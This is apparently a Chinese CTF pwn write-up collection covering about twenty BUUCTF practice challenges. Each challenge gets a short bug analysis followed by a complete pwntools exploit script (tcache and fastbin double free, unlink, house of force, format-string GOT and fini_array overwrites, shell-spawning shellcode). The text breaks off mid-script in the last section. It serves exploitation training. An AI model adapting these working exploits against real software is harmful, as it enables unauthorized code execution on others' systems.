文章目录
- oneshot_tjctf_2016
- wustctf2020_easyfast
- 护网杯_2018_gettingstart
- zctf2016_note2(不同类型比较导致无限堆,好题!!!)
- gyctf_2020_force(house of force)
- wustctf2020_number_game
- ciscn_2019_final_2(IO_FILE Exploitation + tcache double free)
- starctf_2019_babyshell
- actf_2019_babyheap
- ciscn_2019_en_3
- wustctf2020_name_your_dog
- picoctf_2018_are you root
- xman_2019_format
- picoctf_2018_buffer overflow 0
- judgement_mna_2016(格式化字符串还需要熟练呀!)
- bjdctf_2020_YDSneedGrirlfriend
- gyctf_2020_signin(calloc和tcache特性,通过tcache链更新篡改目标地址内容,好题!!!)
- ciscn_2019_sw_1(格式化字符串+fini.array数组篡改)
- wdb_2018_3rd_soEasy
- lctf2016_pwn200
- suctf_2018_stack
- gyctf_2020_some_thing_interesting
- hitcon_2018_children_tcache
- qctf2018_stack2
- [BSidesCF 2019]Runit
- zctf_2016_note3
- hgame2018_flag_server
- gyctf_2020_document
- 强网杯2019 拟态 STKOF(接触拟态防御)
- houseoforange_hitcon_2016
- rootersctf_2019_srop(SROP还不熟练!!!)
- ciscn_2019_final_5
- bcloud_bctf_2016(万万没想到时house of force!)
- roarctf_2019_realloc_magic(realloc、IO好题,必看!!!)
继续水题之旅…
oneshot_tjctf_2016
就是泄露got表之后,搞一个onegadget
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29723
conn = remote(HOST ,PORT)
pause()
pos = 0x600AD8
conn.recvuntil("Read location?")
conn.sendline(str(pos))
conn.recvuntil("Value: ")
puts_leak = conn.recvuntil("\n",drop=True)
puts_leak = int(puts_leak,16)
libc = LibcSearcher("puts",puts_leak)
libc_base = puts_leak - libc.dump("puts")
onegadget = libc_base + 0xf1147
conn.recvuntil("Jump location?")
conn.sendline(str(onegadget))
#pause()
conn.interactive()
wustctf2020_easyfast
最最简单额fastbin attack,连hook都不用了,直接在功能4中有system函数,只需要修改一个qword_602090
变成零。
通过观察这个全局变量上面有个0x50
,正好可以作为fastbin attack检查得size
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def create(size):
conn.recvuntil("choice>")
conn.sendline("1")
conn.recvuntil("size>")
conn.sendline(str(size))
def delete(index):
conn.recvuntil("choice>")
conn.sendline("2")
conn.recvuntil("index>")
conn.sendline(str(index))
def edit(index,content):
conn.recvuntil("choice>")
conn.sendline("3")
conn.recvuntil("index>")
conn.sendline(str(index))
content = content.ljust(8,"\x00")
conn.send(content)
def getshell():
conn.recvuntil("choice>")
conn.sendline("4")
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27315
conn = remote(HOST ,PORT)
pause()
key_pos = 0x602080
create(0x40)
delete(0)
edit(0,p64(key_pos))
create(0x40)
create(0x40)
edit(2,p64(0))
getshell()
conn.interactive()
护网杯_2018_gettingstart
这个题目本质上是考察了IEEE 754标准的double型存储格式,但是呢我们可以偷懒…自己编译一个c文件,然后调试一下copy出来就行了…其实这个玩儿法很多,还见过float shell,那个就很酸爽了
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29307
conn = remote(HOST ,PORT)
pause()
payload = "A"*0x18 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3fb999999999999a)
conn.sendline(payload)
#pause()
conn.interactive()
zctf2016_note2(不同类型比较导致无限堆,好题!!!)
这个题目是一个非常好的题目!整个过程中分析了题目好多遍,都没有找到传统的泄露或者是溢出漏洞,最后看wp发现,涉及到一个无限堆的概念,我们先看一下真正漏洞的位置如图
首先我们看到,申请堆比较类型是unsigned int,这保证了申请堆大小不超过0x80,其中函数input_int
调用了下面出现的input
函数,真正的问题就在这个input函数里面
当我们申请堆块大小为0
的时候,系统会申请一个0x20
大小的堆
然后在输入的时候无限制输入,这就是堆溢出的溢出点!然后可以看到free函数会清空table,并且计数器不会减少,我们最多就申请4哥堆
而且还需要注意,edit函数是通过strncat和strcpy函数复制内容的,在编辑的时候需要注意截断问题。具体思路就是用unlink进行攻击,构造fake chunk即可,具体看代码很明显的
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def create(size,content):
conn.recvuntil("option--->>")
conn.sendline("1")
conn.recvuntil("Input the length of the note content:(less than 128)")
conn.sendline(str(size))
conn.recvuntil("Input the note content:")
conn.sendline(content)
def show(index):
conn.recvuntil("option--->>")
conn.sendline("2")
conn.recvuntil("Input the id of the note:")
conn.sendline(str(index))
def edit(index,mode,content):
conn.recvuntil("option--->>")
conn.sendline("3")
conn.recvuntil("Input the id of the note:")
conn.sendline(str(index))
conn.recvuntil("do you want to overwrite or append?[1.overwrite/2.append]")
conn.sendline(str(mode))
conn.recvuntil("TheNewContents:")
conn.sendline(content)
def delete(index):
conn.recvuntil("option--->>")
conn.sendline("4")
conn.recvuntil("Input the id of the note:")
conn.sendline(str(index))
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27680
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so','./note2'], env = {'LD_PRELOAD' : '/home/assassin/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so'})
#conn = process("./note2")
#pwnlib.gdb.attach(conn,"b *0x0400BE8\nb *0x400CB3") #0x400F70
#pwnlib.gdb.attach(conn,"b *0x400F70")
pause()
heap_list = 0x602120
name = "Assassin"
address = "Assasin's home"
puts_got = 0x602028
conn.recvuntil("Input your name:")
conn.sendline(name)
conn.recvuntil("Input your address:")
conn.sendline(address)
create(0x10,"0") #0 , 为后面申请malloc(0)预留空间
create(0x80,"1") #1 , unlink 用于free的堆
create(0x80,"2") #2 , 构造fake chunk的位置
delete(0)
#下面需要注意unlink攻击向下合并的限制要求
payload = ""
payload += p64(0)*2
payload += (p64(0) + p64(0xa1) + p64(0)*18) #chunk1
payload += (p64(0) + p64(0x31) + p64(heap_list-0x8) + p64(heap_list) + p64(0)*2) #chunk2 fake chunk!
payload += (p64(0x30) + p64(0x20) + p64(0)*2) #chunk3
payload += (p64(0) + p64(0x21) + p64(0)*2) #chunk4
''''''
create(0,payload) #3 , malloc(0)
delete(1)
payload = "a"*8 + p64(puts_got)
edit(2,1,payload)
show(0)
conn.recvuntil("Content is ")
puts_leak = conn.recvuntil("\n",drop=True)
puts_leak = u64(puts_leak.ljust(8,"\x00"))
libc = LibcSearcher("puts",puts_leak)
libc_base = puts_leak - libc.dump("puts")
print "The libc base is",hex(libc_base)
__free_hook = libc_base + libc.dump("__free_hook")
onegadget = libc_base + 0xf02a4 # 0x4526a # 0xf02a4 0xf1147
payload = "A"*0x18 + p64(__free_hook) #就是正常的劫持_free_hook然后实现onegadget
edit(2,1,payload)
edit(2,1,p64(onegadget))
#pause()
conn.interactive()
gyctf_2020_force(house of force)
可以看到题目只有两个功能,一个是add函数,可以malloc各种堆,另一个是puts函数,基本上没有用处。这个题目就不像是传统的堆的题目,需要malloc和free配合达成利用,而且我们注意到两个条件
- 第一,申请堆的大小没有做限制,一般题目中都会限制输入大小的,但这里没有
- 第二,有一个明显的堆溢出,不过申请堆多大都能写入0x50的内容,这样我们就可以控制top chunk的size了
- 第三,我们在篡改top chunk之前申请一个很大的堆,系统会调用mmap函数,申请位置会在libc附近,可以得到libc地址
- 第四,程序会泄露heap地址,这就为我们的top chunk申请到什么位置(我选择的是_malloc_hook)
这下就很容易了…按照步骤来就行了
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def add(size,content):
conn.recvuntil("2:puts")
conn.sendline("1")
conn.recvuntil("size")
conn.sendline(str(size))
conn.recvuntil("bin addr ")
leak = conn.recvuntil("\n",drop=True)
leak = int(leak,16)
conn.recvuntil("content")
conn.sendline(content)
return leak
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 28003
conn = remote(HOST ,PORT)
pause()
libc = ELF("libc-2.23-amd64-buuctf.so")
'''第一步:通过申请很大的chunk,使程序调用mmap泄露libc附近地址'''
leak = add(0x200000,"test")
libc_base = leak + 0x200ff0
print "The libc base is",hex(libc_base)
__malloc_hook = libc_base + libc.symbols['__malloc_hook']
__realloc_hook = __malloc_hook - 0x8
system = libc_base + libc.symbols['system']
puts = libc_base + libc.symbols['puts']
print "The __malloc_hook is",hex(__malloc_hook)
print "The system is",hex(system)
'''第二步:house of force,篡改top chunk的size'''
payload = "\x00"*0x18 + p64(0xffffffffffffffff)
heap_leak = add(0x18,payload)
'''第三步:计算当前chunk到malloc hook位置需要申请一个多大的chunk'''
distance = __malloc_hook - 0x40 - heap_leak
add(distance,payload)
'''第四步:篡改malloc hook'''
payload = "/bin/sh".ljust(0x10,"\x00") + p64(system) + p64(__malloc_hook-0x10)
add(0x20,payload)
conn.recvuntil("2:puts")
conn.sendline("1")
conn.recvuntil("size")
conn.sendline(str(__malloc_hook - 0x10)) #这个输入的位置是存放/bin/sh字符串的位置,因为输入大小没有要求,因此可以将size指向字符串地址
#pause()
conn.interactive()
wustctf2020_number_game
这个涉及到计算机补码存储的知识,本质上是因为int型存储的范围是-231-231-1,也就是-2147483648~2147483647
然后肯定是边界的问题,所以直接试一试就知道了
(水题水的也太开心了把…)
ciscn_2019_final_2(IO_FILE Exploitation + tcache double free)
这个题目,很久违地遇见了IO_FILE Exploitation的问题,通过这个题目学习感受到了光知道各种hook可不行,下面详细分析一下这个题目
题目分析
首先分析一下题目的情况,我们需要知道的首要条件,BUUCTF的ubuntu18的环境是2.27-3ubuntu1_amd64
,这个版本的libc是存在tcache double free
漏洞的
然后看程序功能,需要发现init
函数中打开了flag文件,并且将文件指针指向了666
Sandbox_Loading
发现程序通过prctl函数,把syscall函数都禁用了,用工具seccomp-tools
一看便知,这就打消了我们getshell的想法…
allocate
函数分为两个模式,第一种是可以申请0x30大小的堆,然后再第一个和第二个块写入%d的数字,也就是四字节;第二种是申请0x20大小的堆,再第一个和第二个块写入2字节。还需要注意一个全局变量bool
,只要任意一个模式申请了,就会赋值为1.
然后看delete
函数,注意两点:一是free后没有清除堆地址,存在UAF漏洞,二是free的限制条件为bool==True
,通过交替申请、释放堆可以造成tcache double free
!
show函数,就是打印内容,打印的大小与模式相同。bye_bye
函数猛一看就是输入一个字符串,然后打印字符串,之后exit退出。
解题思路
通过上述的构造条件,我们大致规划一下解题步骤思路:
- 第一步:通过第一次构造0x20的double free,利用、篡改free后本身的堆地址,指向某个堆起始地址,修改size为smallbin
- 第二步:再修改size后,交叉申请0x20堆,释放smallbin大小堆,填满tcache链,直至出现unosrted bin
- 第三步:使用show泄露libc低4位地址,计算
_IO_2_1_stdin_
中_fileno
(即stdin的文件描述符)位置 - 第四步:通过构造,将unsorted bin中某个指向main arena位置的地址,通过修改低2位,指向_fileno
- 第五步:构造0x30大小堆块的tcache double free,然后修改指向我们刚刚篡改至_fileno的位置,直至申请替换stdin的文件描述符为666
- 第六步:运行
bye_bye
函数触发漏洞
过程挺复杂的,而且有很多细节,别着急,我们从过程中慢慢看~首先放一份完整的代码
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
def add_note(type,number):
conn.recvuntil(">")
conn.sendline("1")
conn.recvuntil(">")
conn.sendline(str(type))
conn.recvuntil("your inode number:")
conn.sendline(str(number))
def remove_note(type):
conn.recvuntil(">")
conn.sendline("2")
conn.recvuntil(">")
conn.sendline(str(type))
def show_note(type):
conn.recvuntil(">")
conn.sendline("3")
conn.recvuntil(">")
conn.sendline(str(type))
def scanf_and_exit():
conn.recvuntil(">")
conn.sendline("4")
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29971
conn = remote(HOST ,PORT)
pause()
#libc = ELF("/home/assassin/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
libc = ELF("/home/assassin/tools/python_packages/LibcSearcher/libc-database/other_libc_DIY/libc-2.27-amd64-buuctf.so")
_IO_2_1_stdin_ = libc.symbols["_IO_2_1_stdin_"]
# 第一步:通过第一次构造0x20的double free,利用、篡改free后本身的堆地址,指向某个堆起始地址,修改size为smallbin
add_note(1,1)
add_note(2,2)
add_note(2,3)
remove_note(1)
add_note(2,4)
remove_note(2)
add_note(1,1)
remove_note(2) #0x20 tcache double free
show_note(2)
#泄露堆地址的低2位,这里足够我们篡改tcache指向的堆地址了
conn.recvuntil("your short type inode number :")
heap_leak = int(conn.recvuntil("\n",drop=True))
heap_leak = (heap_leak + 0x10000) % 0x10000
print hex(heap_leak)
first_head_addr = heap_leak - 0x80
add_note(2,first_head_addr)
add_note(2,first_head_addr)
add_note(2,0x91) #篡改第一个0x30堆块的size为0x30 + 3*0x20 = 0x90
# 第二步:再修改size后,交叉申请0x20堆,释放smallbin大小堆,填满tcache链,直至出现unosrted bin
for x in range(8):
remove_note(1)
if x != 7:
add_note(2,0)
# 第三步:使用show泄露libc低4位地址,计算_IO_2_1_stdin_中_fileno(即stdin的文件描述符)位置
show_note(1)
conn.recvuntil("your int type inode number :")
libc_leak = int(conn.recvuntil("\n",drop=True))
libc_leak = (libc_leak + 0x100000000) % 0x100000000
print "The libc leak is",hex(libc_leak)
__malloc_hook = libc.symbols["__malloc_hook"] % 0x100000000
libc_base = libc_leak - 96 - 0x10 - __malloc_hook
print "The libc base is",hex(libc_base)
_IO_2_1_stdin__fileno = (libc_base + _IO_2_1_stdin_ + 0x70) % 0x100000000
print "The _IO_2_1_stdin_ _fileno is",hex(_IO_2_1_stdin__fileno)
# 第四步:通过构造,将unsorted bin中某个指向main arena位置的地址,通过修改低2位,指向_fileno
# 第五步:同步完成了,构造0x30大小堆块的tcache double free
add_note(1,1)
remove_note(1)
add_note(2,1)
remove_note(1) #顺便构造了0x30大小堆块的double free
add_note(2,(_IO_2_1_stdin__fileno % 0x10000))
# 第五步:构造0x30大小堆块的tcache double free,然后修改指向我们刚刚篡改至_fileno的位置,直至申请替换stdin的文件描述符为666
# 这里我们必须先泄露堆地址低4位,才能利用double free篡改tcache指向地址
show_note(1)
conn.recvuntil("your int type inode number :")
heap_leak = int(conn.recvuntil("\n",drop=True))
heap_leak = (heap_leak + 0x100000000) % 0x100000000
print hex(heap_leak
target = heap_leak + 0x50
add_note(1,target)
add_note(1,target)
add_note(1,666)
add_note(1,666) #至此,成功篡改stdin 的文件描述符为666
# 第六步:运行bye_bye函数触发漏洞
scanf_and_exit()
conn.recvuntil("what do you want to say at last? ")
conn.sendline("f")
#pause()
conn.interactive()
代码步骤拆解
- 第一步:通过第一次构造0x20的double free,利用、篡改free后本身的堆地址,指向某个堆起始地址,修改size为smallbin
此时已经成功完成了0x20的double free,并且堆的布局如下
然后通过利用double free,让0x20的链条,指向0x30的堆头位置
-
第二步:再修改size后,交叉申请0x20堆,释放smallbin大小堆,填满tcache链,直至出现unosrted bin
-
第三步:使用show泄露libc低4位地址,计算_IO_2_1_stdin_中_fileno(即stdin的文件描述符)位置
就是通过show函数去泄露就行 -
第四步:通过构造,将unsorted bin中某个指向main arena位置的地址,通过修改低2位,指向_fileno
第四步和第五步有合并的部分(因为free和malloc需要交替进行,偶和了),这里主要看第四步内容,通过前面已知的libc低2位地址,我们可以计算出修改低2位使得unsorted bin
被切割的剩余部分,原本指向main_arena
的指针指向_IO_2_1_stdin_
中的_fileno
。
先看一下存放的两个堆地址
(中间搞错了换了个图啊,地址可能和前面不太一样)
值得一提的是,_IO_2_1_stdin_
的地址和__malloc_hook
、main_arena
都是相邻的,所以修改低2位就足够了 -
第五步:构造0x30大小堆块的tcache double free,然后修改指向我们刚刚篡改至_fileno的位置,直至申请替换stdin的文件描述符为666
就是double free的利用,注意中间还需要泄露一次堆地址,因为0x30的利用需要知道低4位地址,前面一次泄露只是知道低2位,不够用。
-
第六步:运行bye_bye函数触发漏洞
最终结果
starctf_2019_babyshell
观察题目结构,发现输入的shellcode都必须是unk_400978
的内容,一开始我还傻傻的以为要自己去构造,怎么想怎么感觉不对劲,然后反过味儿来再看比较函数,发现其实不用…
如果我们让第一个位是\x00就可以绕过检查,但是为了保证shellcode可以正常运行,需要构造正常的指令,我们去这里查一下 http://ref.x86asm.net/coder64.html
看到\x00开头可以是ADD指令,只要按照规则构造就行了,例如构造add al,al
,就是\x00\xc0
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29865
conn = remote(HOST ,PORT)
pause()
shellcode = "\x00\xc0"
shellcode += asm(shellcraft.sh())
conn.recvuntil("give me shellcode, plz:")
conn.sendline(shellcode)
conn.interactive()
actf_2019_babyheap
最简单的UAF,水中水
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def create_heap(size,content):
conn.recvuntil("Your choice:")
conn.sendline("1")
conn.recvuntil("Please input size:")
conn.sendline(str(size))
conn.recvuntil("Please input content:")
content = content.ljust(size,"\x00")
conn.send(content)
def delete_heap(index):
conn.recvuntil("Your choice:")
conn.sendline("2")
conn.recvuntil("Please input list index:")
conn.sendline(str(index))
def show_heap(index):
conn.recvuntil("Your choice:")
conn.sendline("3")
conn.recvuntil("Please input list index:")
conn.sendline(str(index))
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26573
conn = remote(HOST ,PORT)
bin_sh = 0x602010
system_plt = 0x4007A0
create_heap(0x40,"1")
create_heap(0x40,"2")
delete_heap(0)
delete_heap(1)
payload = p64(bin_sh) + p64(system_plt)
create_heap(0x10,payload)
show_heap(0)
#pause()
conn.interactive()
ciscn_2019_en_3
吼吼,鄙人已经轻车熟路了…这个题目又是一个混合题目,首先在输入名字的时候有一个fmt漏洞
_printf_chk
有一点不太一样,该函数与printf的区别在于:不能使用 %x
n
不连续地打印,也就是说如果要使用
n 不连续地打印,也就是说如果要使用 %3
n不连续地打印,也就是说如果要使用n,则必须同时使用 %1
n
和
n 和 %2
n和n。
不过没有关系,其实观察一下栈空间有什么和libc相关的就行了,其实不是很影响。
然后这个题目就是典型的tcache double free的题目,具体就不分析了,free后也没有清零,就正常构造覆盖__free_hook就行了
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def create_heap(size,content):
conn.recvuntil("Input your choice:")
conn.sendline("1")
conn.recvuntil("Please input the size of story:")
conn.sendline(str(size))
conn.recvuntil("please inpute the story:")
conn.sendline(content)
def delete_heap(index):
conn.recvuntil("Input your choice:")
conn.sendline("4")
conn.recvuntil("Please input the index:")
conn.sendline(str(index))
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26783
conn = remote(HOST ,PORT)
pause()
'''第一步:通过fmt漏洞泄露libc地址'''
fmt_leak = "%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p"
conn.recvuntil("What's your name?")
conn.send(fmt_leak)
conn.recv()
leak = conn.recvuntil("Please input your ID.\n",drop=True)
leak = leak.split("0x")
leak = int("0x" + leak[7],16)
print "The leak is",hex(leak)
libc = LibcSearcher("_IO_2_1_stderr_",leak)
libc_base = leak - libc.dump("_IO_2_1_stderr_")
print "The libc base is",hex(libc_base)
__free_hook = libc_base + libc.dump("__free_hook")
system = libc_base + libc.dump("system")
conn.sendline("")
'''第二步:通过tcache double free漏洞,覆盖__free_hook'''
create_heap(0x20,"/bin/sh\x00")
create_heap(0x20,"1")
delete_heap(1)
delete_heap(1)
create_heap(0x20,p64(__free_hook))
create_heap(0x20,p64(system))
create_heap(0x20,p64(system))
delete_heap(0)
conn.interactive()
wustctf2020_name_your_dog
前几个题目这么卷,这几个题这么水…
就是简单的整型溢出,修改got表,把scanf覆盖成带着的shell函数就行
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 28545
conn = remote(HOST ,PORT)
pause()
getshell = 0x080485CB
conn.recvuntil("Name for which?\n>")
conn.sendline("-7")
conn.recvuntil("Give your name plz: ")
conn.sendline(p64(getshell)[0:6])
conn.interactive()
picoctf_2018_are you root
其实是水题,但是libc版本不一样可能会不同,就是利用了login
函数中strdup
函数可能将输入的字符串溢出地写入地址(虽然实际上用不到溢出),并且free掉的是存储字符串的堆块,申请确却是2个堆块,所以可以提前部署存放字符串的堆,让指定的位置位p64(0x5)
就行了
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def login(content):
conn.recvuntil(">")
payload = "login " + content
conn.sendline(payload)
def set_auth(level):
conn.recvuntil(">")
payload = "set-auth " + str(level)
conn.sendline(payload)
def reset():
conn.recvuntil(">")
conn.sendline("reset")
def show():
conn.recvuntil(">")
conn.sendline("show")
def get_flag():
conn.recvuntil(">")
conn.sendline("get-flag")
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 28571
conn = remote(HOST ,PORT)
pause()
login("testtest\x05")
reset()
login("hack")
get_flag()
#pause()
conn.interactive()
xman_2019_format
说实话我一开始觉得是水题,就不想好好看了,其实还是又一些可以总结的地方,下面还是讲一讲
首先又见到这个strtok
strtok
这个函数的作用就是将s
字符串,按照|
字符进行切割,切割成为多个字符串。下面的while循环中,为什么第一个参数是0?这是函数的定义,如果是0或者NULL,代表继续获取上一个截断字符串的其他的子字符串这就给格式化字符串利用提供了方便!
fmt传统的利用就是利用ebp的链条,进行篡改写入,这里也不例外,并且在程序中藏了一个后门
我们就正常劫持就行了,但是因为我们不知道栈空间地址,所以只能通过改好一种地址,然后进行爆破,修改的字符串在256情况之间,所以爆破也是可行的
爆破爆破,以后肯定也用得到
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def pwn():
backdoor = 0x080485AB
payload = "%"+str(0xac)+"c" + "%10$hhn" + "|"
payload += "%"+str(backdoor%0x10000)+"c" + "%18$hn" + "|"
conn.sendline(payload)
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27546
conn = remote(HOST ,PORT)
pause()
for x in range(30):
try:
pwn()
except Exception as e:
continue
conn.interactive()
picoctf_2018_buffer overflow 0
这个题目本身没有什么难度,我们需要注意到两个点,一是signal
,程序功能是如果调用了0xB的execve
函数,那么就会调用函数sigsegv_handler
,我们仔细看就是打印flag
然后是我们的输入在某个函数造成栈溢出,溢出点在argc
,我们的思路很简单,只要用alphanumberic shellcode
保证可以执行strcpy
CTFMan@out:~$ ./vuln
This program takes 1 argument.
CTFMan@out:~$ ./vuln AAAAAAAAAAAAAAAAAAAAAAAAPYj0X40PPPPQPaJRX4Dj0YIIIII0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx
judgement_mna_2016(格式化字符串还需要熟练呀!)
此时我只觉得羞愧,一直说格式化字符串简单简单的,但是就是没想起来$s的用法,一直想着怎么泄露,实际上flag地址是固定的(因为没有开启地址随机化),直接泄露就好了…做堆都做傻了…
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def pwn_test(payload):
conn.recvuntil("Flag judgment system\nInput flag >>")
conn.sendline(payload)
conn.interactive()
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 28708
conn = remote(HOST ,PORT)
pause()
flag = 0x804A0A0
payload = "%57$s"
payload = payload.ljust(0x38,"\x00")
payload += p32(flag)
pwn_test(payload)
bjdctf_2020_YDSneedGrirlfriend
就是非常简单的UAF,可以说非常无脑了
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def add(size,content):
conn.recvuntil("Your choice :")
conn.sendline("1")
conn.recvuntil("Her name size is :")
conn.sendline(str(size))
conn.recvuntil("Her name is :")
conn.sendline(content)
def delete(idx):
conn.recvuntil("Your choice :")
conn.sendline("2")
conn.recvuntil("Index :")
conn.sendline(str(idx))
def show(idx):
conn.recvuntil("Your choice :")
conn.sendline("3")
conn.recvuntil("Index :")
conn.sendline(str(idx))
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27777
conn = remote(HOST ,PORT)
pause()
backdoor = 0x400B9C
add(0x30,"0")
add(0x30,"1")
delete(0)
delete(1)
add(0x10,p64(backdoor)*2)
show(0)
conn.interactive()
#pause()
gyctf_2020_signin(calloc和tcache特性,通过tcache链更新篡改目标地址内容,好题!!!)
这个题目真的是又让我长见识了!
题目分析
首先需要注意一些细节:
-
第一,主函数在
menu
函数中,除了add、del和edit功能以外,还有一个backdoor后门,但是结构非常奇怪,有一个calloc
函数,并且需要全局变量ptr
不为空。
-
第二,需要注意各个功能之中的限制,包括:①
add
函数中,addcnt
初始化为9,就是说最多申请10次堆;②edit
函数中,因为cnt
初始化为0,并且没有其他修改地方,所以这个edit
函数只能触发一次!(这一点很关键,也是为什么我们不能直接用tcache poisioning方法的原因);③del
函数存在UAF
,但是因为flag
是没有办法double free的,具体的看编译代码去吧~
解题思路
首先我们必须否定简单的tcache poisioning
方法另辟蹊径。其次我们需要注意到,backdoor函数中为什么要calloc(0x70)
,这个和我们的add
函数中固定的malloc(0x70)
有什么联系?
这里就必须提到calloc和tcache的特性了!!!看下面!!!
- **calloc特性:**不会分配 tcache chunk 中的 chunk 。
- tcache特性:在分配 fastbin 中的 chunk 时若还有其他相同大小的 fastbin_chunk 则把它们全部放入 tcache 中。
我们利用的思路大概是修改全局变量ptr,让backdoor函数可以正常执行。我们按照如下步骤构造:
第一步:申请并释放8个堆块
[add(x) for x in range(8)]
[delete(x) for x in range(8)]
这一步不用多解释直接看结果
第二步:通过add函数申请2个块,为了tcache链空出位置,方便后续的链合并
第三步:通过edit修改fastbin中的fd
不好意思断了换了个图…
第四步:执行到backdoor函数的calloc之后会触发tcache和相同大小fastbin chunk的合并机制
然后就顺利getshell了,这个题目真是体现了堆的很多应用都在于细节呀!!!
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def add(idx):
conn.recvuntil("your choice?")
conn.sendline("1")
conn.recvuntil("idx?")
conn.sendline(str(idx))
def delete(idx):
conn.recvuntil("your choice?")
conn.sendline("3")
conn.recvuntil("idx?")
conn.sendline(str(idx))
def edit(idx,payload):
conn.recvuntil("your choice?")
conn.sendline("2")
conn.recvuntil("idx?")
conn.sendline(str(idx))
conn.sendline(str(payload))
def get_shell():
conn.recvuntil("your choice?")
conn.sendline("6")
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 28777
conn = remote(HOST ,PORT)
pause()
'''第一步:申请并释放8个堆块'''
prt = 0x4040B0
[add(x) for x in range(8)]
[delete(x) for x in range(8)]
'''第二步:通过add函数申请2个块,为了tcache链空出位置,方便后续的链合并'''
[add(x) for x in range(8,10)]
'''第三步:通过edit修改fastbin中的fd'''
edit(7,p64(prt))
'''第四步:执行到backdoor函数的calloc之后会触发tcache和相同大小fastbin chunk的合并机制'''
get_shell()
conn.interactive()
ciscn_2019_sw_1(格式化字符串+fini.array数组篡改)
本来以为这个是一个格式化字符串的水题,但是一看其实隐藏了一个之前没有见过的知识点。首先分析题目,题目非常简单,就是简单的main函数,在程序最后又一个格式化字符串漏洞
然后注意到有一个_sys
函数,调用了system,参数command
没什么锤子用,因为参数是在.rodata
段只读。
这个时候熟悉格式化字符串的人都会感觉非常棘手,在程序最后意味着常规方法很难奏效,这里就需要补充关于_fini_array
知识点1:当RELRO
保护为NO RELRO
的时候,init.array
、fini.array
、got.plt
均可读可写;为PARTIAL RELRO的时候,ini.array
、fini.array
可读不可写,got.plt
可读可写;为FULL RELRO
时,init.array
、fini.array
、got.plt
均可读不可写。
知识点2:程序在加载的时候,会依次调用init.array数组中的每一个函数指针,在结束的时候,依次调用fini.array中的每一个函数指针
而我们检查程序权限的时候发现,确实是符合NO RELRO情境下的。(说实话其实很多时候,玩儿堆和栈多了都不看checksec了)
解题思路:首先将fini.array覆盖为main函数地址,同时将printf_got覆盖为system_plt地址,然后进入第二次main的时候直接输入/bin/sh\x00
,就可以执行shell了
PS:格式化字符串的数值真的是手动调的…不是经过什么精密计算算出来的,别误会…
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def add(idx):
conn.recvuntil("your choice?")
conn.sendline("1")
conn.recvuntil("idx?")
conn.sendline(str(idx))
def delete(idx):
